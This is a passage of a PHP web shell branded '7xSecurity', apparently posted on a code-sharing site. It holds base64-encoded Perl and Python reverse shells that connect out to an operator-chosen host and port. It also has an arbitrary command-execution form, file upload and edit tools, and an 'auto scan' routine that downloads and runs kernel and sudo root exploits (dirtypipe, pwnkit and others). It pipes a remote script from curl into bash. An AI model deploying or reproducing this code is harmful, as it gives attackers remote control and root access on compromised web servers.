  525.                         $bc = $GLOBALS['fungsi'][6]("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");
  526.                         $plbc = @fopen('bc.pl','w');
  527.                         fwrite($plbc,$bc);
  528.                         $out = exe("perl bc.pl ".$_7['server']." ".$_7['port']." 1>/dev/null 2>&1 &");
  529.                         sleep(1);
  530.                         echo "<pre>$out\n".exe("ps aux | grep bc.pl")."</pre>";
  531.                         $GLOBALS['fungsi'][4]("bc.pl");
  532.                 }
  533.                 if($_7['bc'] == 'python'){
  534.                         $bc_py = $GLOBALS['fungsi'][6]("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=");
  535.                         $pbc_py = @fopen('bcpy.py','w');
  536.                         fwrite($pbc_py,$bc_py);
  537.                         $out_py = exe("python bcpy.py ".$_7['server']." ".$_7['port']);
  538.                         sleep(1);
  539.                         echo "<pre>$out_py\n".exe("ps aux | grep bcpy.py")."</pre>";
  540.                         $GLOBALS['fungsi'][4]("bcpy.py");
  541.                         }
  542.                         echo "</div>
  543.                         </div>
  544.                 <br/>";
  545.                 }
  546.                 if($_7['id'] == 'cmd') {
  547.                 s();
  548.                 if(!empty($_POST['cmd'])) {
  549.                         $cmd = shell_exec($_POST['cmd'].' 2>&1');
  550.                 }
  551.                 echo "
  552.                 <div class='mb-3'>
  553.                         <form method='POST'>
  554.                                 <div class='input-group mb-3'>
  555.                                         <input class='form-control btn-sm' type='text' name='cmd' value='".htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8')."' placeholder='whoami' $_r>
  556.                                         <button class='btn btn-outline-light btn-sm' type='sumbit'><i class='bi bi-arrow-return-right'></i></button>
  557.                                 </div>
  558.                         </form>";
  559.                         if($cmd):
  560.                         echo '
  561.                         <div class="container-fluid language-javascript">
  562.                                 <div class="shell mb-3">
  563.                                         <pre style="font-size:10px;"><gr>~</gr>$ <rd>'.htmlspecialchars($_POST['cmd']).'</rd><br><code>'.htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8').'</code></pre>
  564.                                 </div>
  565.                         </div>';
  566.                         elseif(!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'):
  567.                         echo '
  568.                         <div class="container-fluid language-javascript">
  569.                                 <div class="shell mb-3">
  570.                                         <pre style="font-size:10px;"><code>No result</code></pre>
  571.                                 </div>
  572.                         </div>
  573.                 </div>';
  574.                 endif;
  575.                 }
  576.                 if($_7['id'] == 'upload'){
  577.                 s();
  578.                 if(isset($_7['upl'])){
  579.                         $result = count($_FILES['file']['name']);
  580.                         for($contents=0;$contents<$result;$contents++){
  581.                                 $namefile = $_FILES['file']['name'][$contents];
  582.                                         $up = @copy($_FILES['file']['tmp_name'][$contents],"$path/".$namefile);
  583.                                 }
  584.                                 if($result < 2){
  585.                                         if($up){
  586.                                         echo "<strong>Upload</strong> $namefile ok! ".ok()."</div>";
  587.                                 }else{
  588.                                 echo '<strong>Upload</strong> fail! '.er().'</div>';
  589.                                 }
  590.                         }else{
  591.                         echo "<strong>Upload</strong> $result ok! ".ok()."</div>";
  592.                         }
  593.                 }
  594.                 echo "
  595.                 <div class='card card-body text-dark input-group mb-3'>
  596.                 <u>Multiple upload</u>
  597.                         <form method='POST' enctype='multipart/form-data'>
  598.                                 <div class='input-group'>
  599.                                         <input class='form-control form-control-sm' type='file' name='file[]' multiple='' $_r>
  600.                                         <input class='btn btn-dark btn-sm' type='submit' name='upl' value='upload'>
  601.                                 </div>
  602.                         </form>
  603.                 </div>";
  604.                         }
  605.                 }
  606.                 if (isset($_GET['dir']) && $_GET['id'] == "scan_root") {
  607.                         ob_implicit_flush();ob_end_flush();s();
  608.                         echo "
  609.                         <div class='text-center'>
  610.                                 <div class='btn-group mb-3'>
  611.                                         <a class='btn btn-outline-light btn-sm' href='".$_SERVER['REQUEST_URI']."&id_two=autoscan'><i class='bi bi-bug'></i> Auto scan</a>
  612.                                         <a class='btn btn-outline-light btn-sm' href='".$_SERVER['REQUEST_URI']."&id_two=scansd'><i class='bi bi-search'></i> Scan SUID</a>
  613.                                         <a class='btn btn-outline-light btn-sm' href='".$_SERVER['REQUEST_URI']."&id_two=esg'><i class='bi bi-search'></i> Exploit suggester</a>
  614.                                 </div>
  615.                         </div>";if (!$GLOBALS['fungsi'][5]("proc_open")) {
  616.                                 echo "<center class='anu'>Command is Disabled !</center>";
  617.                         }
  618.                         if (!is_writable($path)) {
  619.                                 echo "<center class='anu'>Current Directory is Unwriteable !</center>";
  620.                         }
  621.                         if (isset($_GET['id_two']) && $_GET['id_two'] == "autoscan") {
  622.                                 if (!file_exists($path."/rooting/")) {
  623.                                         mkdir($path."/rooting");
  624.                                         exe_root("wget https://raw.githubusercontent.com/hekerprotzy/rootshell/main/auto.tar.gz", $path."/rooting");
  625.                                         exe_root("tar -xf auto.tar.gz", $path."/rooting");
  626.                                         if (!file_exists($path."/rooting/netfilter")) {
  627.                                                 die("<center class='anu'>Failed to Download Material !</center>");
  628.                                         }
  629.                                 }
  630.                                 echo '
  631.                                 <div class="container-fluid language-javascript">
  632.                                         <div class="shell mb-3">
  633.                                                 <pre style="font-size:10px;"><code>Netfilter : '.exe_root("timeout 10 ./rooting/netfilter", $path).'Ptrace : '.exe_root("echo id | timeout 10 ./rooting/ptrace", $path).'Sequoia : '.exe_root("timeout 10 ./rooting/sequoia", $path).'OverlayFS : '.exe_root("echo id | timeout 10 ./overlayfs", $path."/rooting").'Dirtypipe : '.exe_root("echo id | timeout 10 ./rooting/dirtypipe /usr/bin/su", $path).'Sudo : '.exe_root("echo 12345 | timeout 10 sudoedit -s Y", $path).'Pwnkit : '.exe_root("echo id | timeout 10 ./pwnkit", $path."/rooting").@exe("rm -rf ./rooting | timeout 10 ").'</code></pre>
  634.                                         </div>
  635.                                 </div>';
  636.                         } elseif (isset($_GET['id_two']) && $_GET['id_two'] == "scansd") {
  637.                                 echo '<center class="anu">[+] Scanning ...</center>';
  638.                                 echo '
  639.                                 <div class="container-fluid language-javascript">
  640.                                         <div class="shell mb-3">
  641.                                                 <pre style="font-size:10px;"><code>'.exe_root("find / -perm -u=s -type f 2>/dev/null", $path).'</code></pre>
  642.                                         </div>
  643.                                 </div>';
  644.                         } elseif (isset($_GET['id_two']) && $_GET['id_two'] == "esg") {
  645.                                 echo '<center class="anu">[+] Loading ...</center>';
  646.                                 echo '
  647.                                 <div class="container-fluid language-javascript">
  648.                                         <div class="shell mb-3">
  649.                                                 <pre style="font-size:10px;"><code>'.exe_root("curl -Lsk http://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash", $path).'</code></pre>
  650.                                         </div>
  651.                                 </div>';
  652.                         }
  653.                 }
  654.                 // openfile
  655.                 if(isset($_7['opn'])) {
  656.                         $file = $_7['opn'];
  657.                 }      
  658.                 // view
  659.                 if($_7['action'] == 'view') {
  660.                 s();
  661.                 echo "
  662.                 <div class='btn-group'>
  663.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  664.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  665.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  666.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  667.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=download&opn=$file'><i class='bi bi-download'></i></a>
  668.                 </div>
  669.                 <br>
  670.                         <i class='bi bi-file-earmark'></i>: ".basename($file)."
  671.                 </br>
  672.                 <div class='bg-dark'>
  673.                         <div class='container-fluid language-javascript'>
  674.                                 <textarea rows='10' class='form-control' disabled=''>".htmlspecialchars($fungsi[0]($file))."</textarea>
  675.                         </div>
  676.                 </div>";
  677.                 }
  678.                 // edit
  679.                 if(isset($_7['edit_file'])) {
  680.                 $updt = fopen("$file", "w");
  681.                 $result = fwrite($updt, $_7['contents']);           
  682.                         if ($result) {
  683.                 echo '<strong>Edit file</strong> ok! '.ok().'</div>';
  684.                         }else{
  685.                 echo '<strong>Edit file</strong> fail! '.er().'</div>';}
  686.                 }
  687.                 if($_7['action'] == 'edit') {
  688.                 s();
  689.                 echo "
  690.                 <div class='btn-group'>
  691.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  692.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  693.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  694.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  695.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=download&opn=$file'><i class='bi bi-download'></i></a>
  696.                 </div>
  697.                 <br>
  698.                         <i class='bi bi-file-earmark'></i>: ".basename($file)."
  699.                 </br>
  700.                 <form method='POST'>
  701.                         <textarea class='form-control btn-sm' rows='10' name='contents' $_r>".htmlspecialchars($fungsi[0]($file))."</textarea>
  702.                         <div class='d-grid gap-2'>
  703.                                 <button class='btn btn-outline-light btn-sm' type='sumbit' name='edit_file'><i class='bi bi-arrow-return-right'></i></button>
  704.                         </div>
  705.                 </form>";
  706.                 }
  707.                 if($_7['action'] == 'rename_folder') {
  708.                         if($_7['r_d']) {
  709.                                 $r_d = rename($dir, "".dirname($dir)."/".htmlspecialchars($_7['r_d'])."");
  710.                                 if($r_d) {
  711.                 echo '<strong>Rename folder</strong> ok! '.ok().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  712.                                 }else{
  713.                 echo '<strong>Rename folder</strong> fail! '.er().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  714.                                 }
  715.                         }
  716.                 s();
  717.                 echo "
  718.                 <div class='btn-group'>
  719.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=rename_folder'><i class='bi bi-pencil-fill'></i></a>
  720.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=delete_folder'><i class='bi bi-trash-fill'></i></a>
  721.                 </div>
  722.                 <br>
  723.                         <i class='bi bi-folder-fill'></i>: ".basename($dir)."
  724.                 </br>
  725.                 <form method='POST'>
  726.                         <div class='input-group'>
  727.                                 <input class='form-control btn-sm' type='text' value='".basename($dir)."' name='r_d' $_r>
  728.                                 <button class='btn btn-outline-light btn-sm' type='submit'><i class='bi bi-arrow-return-right'></i></button>
  729.                         </div>
  730.                 </form>";
  731.                 }
  732.                 if(isset($_7['r_f'])) {
  733.                         $old = $file;
  734.                         $new = $_7['new_name'];
  735.                         rename($new, $old);
  736.                         if(file_exists($new)) {
  737.                 echo '<div class="alert alert-warning alert-dismissible fade show my-3" role="alert">
  738.                         <strong>Rename file</strong> name already in use! <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
  739.                 </div>';
  740.                         }else{
  741.                 if(rename($old, $new)) {
  742.                 echo '<strong>Rename file</strong> ok! '.ok().'</div>';
  743.                         }else{
  744.                 echo '<strong>Rename file</strong> fail! '.er().'</div>';
  745.                                 }
  746.                         }
  747.                 }
  748.                 if($_7['action'] == 'rename') {
  749.                 s();
  750.                 echo "
  751.                 <div class='btn-group'>
  752.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  753.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  754.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  755.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  756.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=download&opn=$file'><i class='bi bi-download'></i></a>
  757.                 </div>
  758.                 <br>
  759.                         <i class='bi bi-file-earmark'></i>: ".basename($file)."
  760.                 </br>
  761.                 <form method='POST'>
  762.                         <div class='input-group'>
  763.                                 <input class='form-control btn-sm' type='text' name='new_name' value='".basename($file)."' $_r>
  764.                                 <button class='btn btn-outline-light btn-sm' type='sumbit' name='r_f'><i class='bi bi-arrow-return-right'></i></button>
  765.                         </div>
  766.                 </form>";
  767.                 }
  768.                 if ($_7['action'] == 'delete_file') {
  769.                 s();
  770.                 if ($_7['yeahx']) {
  771.                         $delete = $GLOBALS['fungsi'][4]($file);
  772.                         if ($delete) {
  773.                 echo '<strong>Delete file</strong> ok! '.ok().'</div>';
  774.                         }else{
  775.                 echo '<strong>Delete file</strong> fail! '.er().'</div>';
  776.                         }
  777.                 }
  778.                 echo "
  779.                 <div class='btn-group mb-3'>
  780.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  781.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  782.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  783.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  784.                         <a class='btn btn-outline-lightbtn-sm' href='?dir=".hex($fungsi[7]())."&action=download&opn=$file'><i class='bi bi-download'></i></a>
  785.                 </div>
  786.                 <div class='card card-body text-dark input-group mb-3'>
  787.                         <p>Are you sure to delete : ".basename($file)." ?</p>
  788.                         <form method='POST'>
  789.                                 <a class='btn btn-danger btn-block btn-sm' href='?dir=".hex($dir)."'>No</a>
  790.                                 <input type='submit' name='yeahx' class='btn btn-success btn-block btn-sm' value='Yes'>
  791.                         </form>
  792.                 </div>";
  793.                 }
  794.                 //delete folder
  795.                 if ($_7['action'] == 'delete_folder' ) {
  796.                 s();
  797.                 if ($_7['yeah']) {
  798.                         if($fungsi[1]($dir)) {
  799.                         if(is_writable($dir)) {
  800.                                 @rmdir($dir);
  801.                                 @exe("rm -rf $dir");
  802.                                 @exe("rmdir /s /q $dir");
  803.                 echo '<strong>Delete folder</strong> ok! '.ok().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  804.                                 } else {
  805.                 echo '<strong>Delete folder</strong> fail! '.er().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  806.                                 }
  807.                         }
  808.                 }
  809.                 echo "
  810.                 <div class='btn-group mb-3'>
  811.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=rename_folder'><i class='bi bi-pencil-fill'></i></a>
  812.                         <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=delete_folder'><i class='bi bi-trash-fill'></i></a>
  813.                 </div>
  814.                 <div class='card card-body text-dark input-group mb-3'>
  815.                         <p>Are you sure to delete : ".basename($dir)." ?</p>
  816.                         <form method='POST'>
  817.                                 <a class='btn btn-danger btn-block btn-sm' href='?dir=".dirname($dir)."'>No</a>
  818.                                 <input type='submit' name='yeah' class='btn btn-success btn-block btn-sm' value='Yes'>
  819.                         </form>
  820.                 </div>";
  821.                 }
  822.                 if(isset($_7['filenew'])) {
  823.                 s();
  824.                 if(isset($_7['bikin'])){
  825.                         $name = $_7['name_file'];
  826.                         $contents_file = $_7['contents_file'];
  827.                         foreach ($name as $name_file){
  828.                                 $handle = @fopen("$name_file", "w");
  829.                                 if($contents_file){
  830.                                         $create = @fwrite($handle, $contents_file);
  831.                                 } else {
  832.                                         $create = $handle;
  833.                                 }
  834.                         }
  835.                         if($create){
  836.                                 echo "<script>window.location='?path=".hex($path)."'</script>";
  837.                         } else {
  838.                                 echo '<strong>Create file</strong> fail! '.er().'</div>';
  839.                                 }
  840.                         }
  841.                 echo "
  842.                 <div class='mb-3'>
  843.                         <form method='POST'>
  844.                                 <i class='bi bi-file-earmark'></i> Filename:
  845.                                 <input class='form-control form-control-sm' type='text' name='name_file[]' placeholder='filename' $_r>
  846.                                 <i class='bi bi-file-earmark'></i> Your script:
  847.                                 <textarea class='form-control form-control-sm' name='contents_file' rows='7' placeholder='your script' $_r></textarea>
  848.                                 <div class='d-grid gap-2'>
  849.                                         <input class='btn btn-outline-light btn-sm' type='submit' name='bikin' value='create'>
  850.                                 </div>
  851.                         </form>
  852.                 </div>";
  853.                 }
  854.                 if(isset($_7['dirnew'])) {
  855.                 s();
  856.                 if(isset($_7['create'])){
  857.                         $name = $_7['name_dir'];
  858.                         foreach ($name as $name_dir){
  859.                                 $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $name_dir);
  860.                                 $fd = @mkdir ($folder);
  861.                         }
  862.                         if($fd){
  863.                                 echo "<script>window.location='?path=".hex($path)."'</script>";
  864.                         } else {
  865.                                 echo '<strong>Create dir</strong> fail! '.er().'</div>';
  866.                                 }
  867.                         }
  868.                 echo "
  869.                 <div class='mb-3'>
  870.                         <form method='POST'>
  871.                                 <i class='bi bi-folder'></i> Name directory:
  872.                                 <div class='input-group mb-3'>
  873.                                         <input class='form-control form-control-sm' type='text' name='name_dir[]' placeholder='Dir name' $_r>
  874.                                         <input class='btn btn-outline-light btn-sm' type='submit' name='create' value='create dir'>
  875.                                 </div>
  876.                         </form>
  877.                 </div>";
  878.                 }
  879.                 echo '
  880.                 <div class="table-responsive">
  881.                 <table class="table table-hover table-dark text-light">
  882.                 <thead>
  883.                 <tr>
  884.                         <td class="text-center">name</td><td class="text-center">type</td>
  885.                                 <td class="text-center">last edit</td>
  886.                                 <td class="text-center">size</td>
  887.                                 <td class="text-center">owner<gr>/</gr>group</td>
  888.                                 <td class="text-center">permsion</td>
  889.                         <td class="text-center">action</td>
  890.                 </tr>
  891.                 </thead>
  892.                 <tbody class="text-nowrap">
  893.                 <tr>
  894.                         <td><i class="bi bi-folder2-open"></i><a class="text-decoration-none text-secondary" href="?path='.dirname($dir).'">..</a></td><td></td><td></td><td></td><td></td><td></td><td class="text-center">
  895.                                 <div class="btn-group">
  896.                                         <a class="btn btn-outline-light btn-sm" href="?filenew&path='.$dir.'"><i class="bi bi-file-earmark-plus-fill"></i></a>
  897.                                         <a class="btn btn-outline-light btn-sm" href="?dirnew&path='.$dir.'"><i class="bi bi-folder-plus"></i></a>
  898.                                 </div>
  899.                         </td>
  900.                 </tr>';        
  901.                 foreach($scand as $dir){
  902.                         $dt = date("Y-m-d G:i", filemtime("$path/$dir"));
  903.                         if(strlen($dir) > 25) {
  904.                                 $_d = substr($dir, 0, 25)."...";           
  905.                         }else{
  906.                                 $_d = $dir;
  907.                         }
  908.                         if($GLOBALS['fungsi'][5]('posix_getpwuid')) {
  909.                                 $downer = @posix_getpwuid(fileowner("$path/$dir"));
  910.                                 $downer = $downer['name'];
  911.                         } else {
  912.                                 $downer = fileowner("$path/$dir");
  913.                         }
  914.                         if($GLOBALS['fungsi'][5]('posix_getgrgid')) {
  915.                                 $dgrp = @posix_getgrgid(filegroup("$path/$dir"));
  916.                                 $dgrp = $dgrp['name'];
  917.                         } else {
  918.                                 $dgrp = filegroup("$path/$dir");
  919.                         }
  920.                         if(!$fungsi[1]($path.'/'.$file)) continue;
  921.                                 $size = filesize($path.'/'.$file)/1024;
  922.                                 $size = round($size,3);
  923.                         if($size >= 1024){
  924.                                 $size = round($size/1024,2).' MB';
  925.                         }else{
  926.                                 $size = $size.' KB';
  927.                         }
  928.                 if(!$fungsi[1]($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  929.                 echo "
  930.                 <tr>
  931.                         <td><i class='bi bi-folder-fill'></i><a class='text-decoration-none text-secondary' href='?dir=".hex($path.'/'.$dir)."'>$_d</a></td>
  932.                         <td class='text-center'>dir</td>
  933.                         <td class='text-center'>$dt</td>
  934.                         <td class='text-center'>-</td>
  935.                         <td class='text-center'>$downer<gr>/</gr>$dgrp</td>
  936.                         <td class='text-center'>";
  937.                                 if(is_writable($path.'/'.$dir)) echo '<gr>';
  938.                                         elseif(!is_readable($path.'/'.$dir)) echo '<rd>';
  939.                                 echo p($path.'/'.$dir);
  940.                                 if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font></center></td>';
  941.                 echo "
  942.                         <td class='text-center'>
  943.                         <div class='btn-group'>
  944.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($path.'/'.$dir)."&action=rename_folder'><i class='bi bi-pencil-fill'></i></a><a class='btn btn-outline-light btn-sm' href='?dir=".hex($path.'/'.$dir)."&action=delete_folder'><i class='bi bi-trash-fill'></i></a>
  945.                         </div>
  946.                         </td>
  947.                 </tr>";
  948.                 }
  949.                 foreach($scand as $file){
  950.                         $ft = date("Y-m-d G:i", filemtime("$path/$file"));
  951.                         if($GLOBALS['fungsi'][5]('posix_getpwuid')) {
  952.                                 $fowner = @posix_getpwuid(fileowner("$path/$file"));
  953.                                 $fowner = $fowner['name'];
  954.                         } else {
  955.                                 $fowner = fileowner("$path/$file");
  956.                         }
  957.                         if($GLOBALS['fungsi'][5]('posix_getgrgid')) {
  958.                                 $fgrp = @posix_getgrgid(filegroup("$path/$file"));
  959.                                 $fgrp = $fgrp['name'];
  960.                         } else {
  961.                                 $fgrp = filegroup("$path/$file");
  962.                         }
  963.                         if(!$fungsi[3]($path.'/'.$file)) continue;
  964.                         if(strlen($file) > 25) {
  965.                                 $_f = substr($file, 0, 25)."...-.".$ext;           
  966.                         }else{
  967.                                 $_f = $file;
  968.                         }
  969.                 echo "
  970.                 <tr>
  971.                 <td><i class='bi bi-file-earmark-text-fill'></i><a class='text-decoration-none text-secondary' href='?dir=".hex($fungsi[7]())."&action=view&opn=$file'>$_f</a></td>
  972.                         <td class='text-center'>file</td>
  973.                         <td class='text-center'>$ft</td>
  974.                         <td class='text-center'>".sz(filesize($file))."</td>
  975.                         <td class='text-center'>$fowner<gr>/</gr>$fgrp</td>
  976.                         <td class='text-center'>";if(is_writable($path.'/'.$file)) echo '<gr>';
  977.                         elseif(!is_readable($path.'/'.$file)) echo '<rd>';
  978.                                 echo p($path.'/'.$file);
  979.                         if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</gr></rd></td>';
  980.                         echo "
  981.                         <td class='text-center'>
  982.                         <div class='btn-group'>
  983.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=view&opn=$path/$file'><i class='bi bi-eye-fill'></i></a>
  984.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=edit&opn=$path/$file'><i class='bi bi-pencil-square'></i></a>
  985.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=rename&opn=$path/$file'><i class='bi bi-pencil-fill'></i></a>
  986.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=delete_file&opn=$path/$file'><i class='bi bi-trash-fill'></i></a>
  987.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&action=download&opn=$path/$file'><i class='bi bi-download'></i></a>
  988.                         </div>
  989.                         </td>
  990.                 </tr>";
  991.                 }
  992.                 ?>
  993.                 </tbody>
  994.                 </table>
  995.                 </div><div class='text-secondary'>© 2013-<?=date('Y');?> 7xSecurity</div>
  996.         </div>
  997. </div>
  998. </body>
  999. </html>
File Description
  • dwad
  • PHP Code
  • 08 Sep-2023
  • 42.3 Kb
You can Share it: